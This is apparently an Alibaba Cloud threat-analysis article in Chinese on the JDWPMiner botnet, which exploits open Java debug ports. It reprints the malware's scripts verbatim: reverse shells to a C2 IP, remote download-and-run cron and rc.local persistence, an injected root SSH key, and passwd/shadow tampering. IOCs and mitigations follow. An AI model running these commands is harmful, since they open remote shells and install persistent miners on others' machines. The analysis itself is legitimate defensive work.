Java开发远程调试易埋隐患,JDWPMiner挖矿木马后门分析

简介: 近日,阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,对用户资产危害极大,近期传播有所上升,提醒广大用户注意防护。

概述

近日,阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,JDWP广泛使用于JAVA应用程序开发调试阶段,而JAVA又广泛用于开发电商、办公应用、CMS等日常息息相关的平台,如果软件发布中未将远程调试关闭,将留下重大隐患,而JDWPMiner正式利用这一特性进行入侵牟利。


阿里云安全专家分析发现,该僵尸网络利用Java Debug RCE漏洞进行入侵,通过从恶意下载源下载挖矿二进制文件实现挖矿,通过Crontab进行持久化,将秘钥写入authorized_keys而获取远程访问权限,通过四种方式执行反弹shell,最终全权控制主机,对用户资产危害极大。


阿里云安全持续对该BOT进行监控,发现近期传播有所上升,提醒广大用户注意防护。


1.png


传播手段


JDWPMiner通过JDWP RCE漏洞进行入侵和传播,利用shell.sh脚本下载挖矿木马并执行,通过crontab、cron.d、rc.local进行持久化,依据系统环境执行python、perl、nc、bash进行反弹shell到指定IP,从而完成整个入侵过程。


2.png


阶段分析

3.jpg


协议分析


JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(Debugger)和被调试器Java虚拟机(Target JVM)之间的通信协议。在JDPA体系中,作为前端的调试者(debugger)和后端的被调试程序(debuggee)进程之间的交互数据的格式是由JDWP来描述的,协议详细完整地定义了请求命令、回应数据和错误代码,保证了前后端JVMTI和JDI的通信,通过该协议Debugger可以获取到VM中包括类、对象、线程等信息。


3-1.jpg


JDWP是基于TCP的二进制报文的网络协议,通过命令包(command packet)和回复包(reply packet)进行通信。其中Flags字段用于表明是命令包还是回复包,Command Set定义了Command类别。


4.png

需要开启上述协议,通常需要在apache-tomcat安装包bin目录下对catalina.sh或者setenv.sh进行修改,其中连接方式有两种,分别是dt_shment代表本机调试和dt_socket代表远程调试。


CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"


也可通过命令行方式直接开启


java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar


由于JDWP协议不带有认证信息,对于一个开启了调试端口的JAVA应用,任何人都可以利用JDWP进行调试,这给开发、运维带来了极大的风险,JDWPMiner正是利用该特性进行入侵获利。


入侵分析


上述提及两种方式可以导致JDWP端口开放至公网,JDWPMiner通过利用JDWP RCE漏洞进行入侵,在其父进程调用wget


java -server -Xms256m -Xmx2048m -XX:MaxPermSize=256m -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar


执行命令如下


wget http://m247.ltd:36663/.seashells/shell.sh


运行shell.sh包含了四种方式进行反弹shell,分别是python、perl、nc、bash,其C2地址为位于卢森堡的192.251.84.152,shell执行后其主机将完全沦陷受到JDWPMiner的管控。


if command -v python > /dev/null 2>&1; then

        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("198.251.84.152",42069)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

        exit;

fi


if command -v perl > /dev/null 2>&1; then

        perl -e 'use Socket;$i="198.251.84.152";$p=42069;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

        exit;

fi if command -v nc > /dev/null 2>&1; then

        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 198.251.84.152 42069 >/tmp/f

        exit;

fi if command -v sh > /dev/null 2>&1; then

        /bin/sh -i >& /dev/tcp/198.251.84.152/42069 0>&1         exit;

fi

rm -rf shell.sh*


而后在teardrop.sh的调用执行中会进行不同方式的持久化


wget http://m247.ltd:36663/.xmrig/teardrop.sh -O-


通过sed将/etc/passwd抹掉常见记录


sed -i 's/^eth0:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^eth0:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^eth1:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^eth1:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^sudev:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^sudev:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^system:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^system:.*//' /etc/shadow 2>/dev/null;


添加公钥到/root/.ssh/authorized_keys


# add ssh key

grep Glock /root/.ssh/authorized_keys || echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock' >> /root/.ssh/authorized_keys;

chmod 755 /root /root/.ssh /root/.ssh/authorized_keys 2>/dev/null;

chown root:root /root /root/.ssh /root/.ssh/authorized_keys 2>/dev/null;


通过Crontab进行持久化


# Add To Crontab

grep m247 /var/spool/cron/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/root

grep m247 /var/spool/cron/crontabs/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/crontabs/root

grep m247 /etc/crontab || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/crontab

grep m247 /etc/cron.d/0hourly || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/cron.d/0hourly


通过cron.d进行持久化


# Add to Cron.d

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;chattr +i /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;chattr +i /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;chattr +i /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;chattr +i /etc/cron.monthly/0;


通过判断不同系统版本使用rc.local进行持久化


if [[ -e /etc/debian_version ]]; then

    RCLOCAL='/etc/rc.local';

    echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;

elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then

   RCLOCAL='/etc/rc.d/rc.local'

   echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;

    chmod +x $RCLOCAL;

else

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;

fi


通过curl、wget进行挖矿木马的下载


curl -s http://m247.ltd:36663/.xmrig/miner.php || wget --quiet http://m247.ltd:36663/.xmrig/miner.php -O /dev/null


安全建议


如何验证


本地验证: 执行如下命令,如果返回结果则说明打开了Debug端口。


ps -ef | grep jdwp | grep -v 'grep'


远程验证: telnet端口后,输入命令 JDWP-Handshake,如果返回JDWP-Handshare则证明存在漏洞


{ echo "JDWP-Handshake"; sleep 20 } | telnet remote_host remote_port


修复方案

  1. 搜索catalina.sh或者setenv.sh,将含有 transport=dt_socket 的一行注释掉即可
  2. 如果使用Docker,在dockerfile文件中将 ENV JPDA_ENABLE=1 修改为 0


安全建议


  1. 关闭JDWP端口或不对公网开放,如需调试在预发环境进行,完成后关闭Debug模式
  2. 关闭Java的Debug模式
  3. 云防火墙利用大数据对互联网上最新出现RCE进行实时监控,从RCE披露到响应时间整体小于3小时,能够有效阻止客户资产被RCE漏洞攻击,其支持3-7层协议不仅满足对Web网站的HTTP协议的防护,同时支持4层大量TCP/UDP协议的防御。当前云防火墙默认支持对Java 调试接口远程命令执行漏洞的防御。

5.png

  1. 云防火墙智能策略依据历史流量自学习,提供符合客户业务暴露面收敛的最佳实践,通过“一键下发”或“自主选择”可以实现资产的最大程度的互联网暴露收敛,避免类似JDWP端口对外不当暴露风险,同时有效阻止“重保模式”下网络空间测绘的扫描行为。

6.png


IOC

SSH公钥

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock


C2

198.251.84.152


Domain

m247.ltd


URL

http://m247.ltd:36663/..lolthats/sad.php

http://m247.ltd:36663/.xmrig/miner.php

http://m247.ltd:36663/.xmrig/0

http://m247.ltd:36663/.etc/rc

http://m247.ltd:36663/..lolthats/0

http://m247.ltd/..etc/rc

http://m247.ltd:36663/.seashells/shell.sh

http://m247.ltd:36663/..etc/rc

http://m247.ltd:36663/.xmrig/teardrop.sh

相关文章
|
8天前
|
SQL 安全 Java
安全问题已经成为软件开发中不可忽视的重要议题。对于使用Java语言开发的应用程序来说,安全性更是至关重要
在当今网络环境下,Java应用的安全性至关重要。本文深入探讨了Java安全编程的最佳实践,包括代码审查、输入验证、输出编码、访问控制和加密技术等,帮助开发者构建安全可靠的应用。通过掌握相关技术和工具,开发者可以有效防范安全威胁,确保应用的安全性。
21 4
|
10天前
|
缓存 监控 Java
如何运用JAVA开发API接口?
本文详细介绍了如何使用Java开发API接口,涵盖创建、实现、测试和部署接口的关键步骤。同时,讨论了接口的安全性设计和设计原则,帮助开发者构建高效、安全、易于维护的API接口。
32 4
|
15天前
|
SQL Java 程序员
倍增 Java 程序员的开发效率
应用计算困境:Java 作为主流开发语言,在数据处理方面存在复杂度高的问题,而 SQL 虽然简洁但受限于数据库架构。SPL(Structured Process Language)是一种纯 Java 开发的数据处理语言,结合了 Java 的架构灵活性和 SQL 的简洁性。SPL 提供简洁的语法、完善的计算能力、高效的 IDE、大数据支持、与 Java 应用无缝集成以及开放性和热切换特性,能够大幅提升开发效率和性能。
|
16天前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
34 2
|
16天前
|
监控 Java 数据库连接
在Java开发中,数据库连接管理是关键问题之一
在Java开发中,数据库连接管理是关键问题之一。本文介绍了连接池技术如何通过预创建和管理数据库连接,提高数据库操作的性能和稳定性,减少资源消耗,并简化连接管理。通过示例代码展示了HikariCP连接池的实际应用。
17 1
|
17天前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
12 2
|
10天前
|
安全 Java 测试技术
Java开发必读,谈谈对Spring IOC与AOP的理解
Spring的IOC和AOP机制通过依赖注入和横切关注点的分离,大大提高了代码的模块化和可维护性。IOC使得对象的创建和管理变得灵活可控,降低了对象之间的耦合度;AOP则通过动态代理机制实现了横切关注点的集中管理,减少了重复代码。理解和掌握这两个核心概念,是高效使用Spring框架的关键。希望本文对你深入理解Spring的IOC和AOP有所帮助。
22 0
|
10天前
|
Java API Android开发
kotlin和java开发优缺点
kotlin和java开发优缺点
24 0
WK
|
15天前
|
开发框架 移动开发 Java
C++和Java哪个更适合开发移动应用
本文对比了C++和Java在移动应用开发中的优劣,从市场需求、学习难度、开发效率、跨平台性和应用领域等方面进行了详细分析。Java在Android开发中占据优势,而C++则适合对性能要求较高的场景。选择应根据具体需求和个人偏好综合考虑。
WK
31 0
WK
|
16天前
|
安全 Java 编译器
C++和Java哪个更适合开发web网站
在Web开发领域,C++和Java各具优势。C++以其高性能、低级控制和跨平台性著称,适用于需要高吞吐量和低延迟的场景,如实时交易系统和在线游戏服务器。Java则凭借其跨平台性、丰富的生态系统和强大的安全性,广泛应用于企业级Web开发,如企业管理系统和电子商务平台。选择时需根据项目需求和技术储备综合考虑。
WK
19 0